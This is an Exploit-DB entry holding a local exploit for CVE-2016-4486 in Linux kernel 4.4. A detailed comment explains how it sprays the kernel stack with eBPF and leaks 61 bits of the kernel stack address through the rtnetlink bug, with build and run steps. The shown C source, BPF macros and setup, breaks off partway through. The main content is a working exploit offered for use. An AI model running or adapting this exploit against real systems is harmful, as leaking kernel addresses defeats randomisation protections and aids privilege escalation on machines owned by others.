Exploit-DB #46006
Description: Linux Kernel 4.4 - 'rtnetlink' Stack Memory Disclosure
Type: local
Platform: linux
Date: 2018-12-19
Author: Jinbum Park

Exploit:
/*
 * [ Briefs ] 
 *    - CVE-2016-4486 has discovered and reported by Kangjie Lu.
 *    - This is local exploit against the CVE-2016-4486.
 *
 * [ Tested version ]
 *    - Distro :  Ubuntu 16.04
 *    - Kernel version :  4.4.0-21-generic
 *    - Arch : x86_64
 *
 * [ Prerequisites ]
 *    - None
 *
 * [ Goal ]
 *    - Leak kernel stack base address of current process by exploiting CVE-2016-4486.
 *
 * [ Exploitation ]
 *    - CVE-2016-4486 leaks 32-bits arbitrary kernel memory from uninitialized stack.
 *    - This exploit gets 61-bits stack base address among the 64-bits full address.
 *      remaining 3-bits is not leaked because of limitation of ebpf.
 *    - Full exploitation are performed as follows.
 *
 *    1. Spraying kernel stack as kernel stack address via running ebpf program.
 *       - We can spray stack up to 512-bytes by running ebpf program.
 *       - After this step, memory to be leaked will be filled with kernel stack address.
 *    2. Trigger CVE-2016-4486 to leak 4-bytes which is low part of stack address.
 *       - After this step, stack address :  0xffff8800????????;  (? is unknown address yet.)
 *    3. Leak high 4-bytes of stack address. The leaking is done as one-by-one bit. why one-by-one?
 *       - CVE-2016-4486 allows to leak 4-bytes only, so that we always get low 4-bytes of stack address.
 *       - Then, How to overcome this challenge?? The one of possible answer is that
 *         do operation on high-4bytes with carefully selected value which changes low-4bytes.
 *         For example, Assume that real stack address is 0xffff[PII_REDACTED]00;
 *         and, do sub operation. ==> 0xffff[PII_REDACTED]00 - 0x[PII_REDACTED]360000 (selected value);
 *         The result will be "0xffff8803....." ==> Yap! low 4-bytes are changed!! and We can see this!
 *         The result makes us to know that high 4-bytes are smaller than 0x12360000;
 *         Then, We can keep going with smaller value.
 *       - The algorithm is quite similar to quick-search.
 *    4. Unfortunately, ebpf program limitation stops us to leak full 64-bits.
 *       - 3-bits (bit[16], bit[15], bit[14]) are not leaked.
 *       - But, Since 3-bit is not sufficient randomness, It's very valuable for attacker.
 *    Bonus) Why do I use compat_sendmsg() instead of normal sendmsg()?
 *       - When I did spraying stack with normal sendmsg(), I couldn't spray up to memory to be leaked.
 *       - If I use compat-sendmsg(), The execution path will be different from normal sendmsg().
 *         This makes me to spray it more far.
 *
 * [ Run exploit ]
 *    - $ gcc poc.c -o poc
 *    - $ ./poc
 *        ....
 *        ....
 *        leak stack address range :
 *        -----from :  ffff88007f7e0000
 *        --------to : ffff88007f7fc000
 *       (Since we can get 61-bit address, Print the possible address range out.)
 *
 * [ Contact ]
 *    - jinb.park7@gmail.com
 *    - github.com/jinb-park
 */

#include <asm/types.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <asm/unistd_64.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <linux/bpf.h>
#include <linux/filter.h>

#define GPLv2 "GPL v2"
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))

#define INTERFACE_INDEX (0)
#define LEAK_OFFSET (28)

/*
 * BPF-based stack sprayer
 */
/* registers */
/* caller-saved: r0..r5 */
#define BPF_REG_ARG1    BPF_REG_1
#define BPF_REG_ARG2    BPF_REG_2
#define BPF_REG_ARG3    BPF_REG_3
#define BPF_REG_ARG4    BPF_REG_4
#define BPF_REG_ARG5    BPF_REG_5
#define BPF_REG_CTX     BPF_REG_6
#define BPF_REG_FP      BPF_REG_10

#define BPF_MOV32_REG(DST, SRC)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU | BPF_MOV | BPF_X,       \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = OFF,                               \
    .imm   = IMM })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_STX_ADD_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_STX | BPF_XADD | BPF_SIZE(SIZE),\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_MOV64_IMM(DST, IMM)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })	
#define BPF_EXIT_INSN()                         \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_EXIT,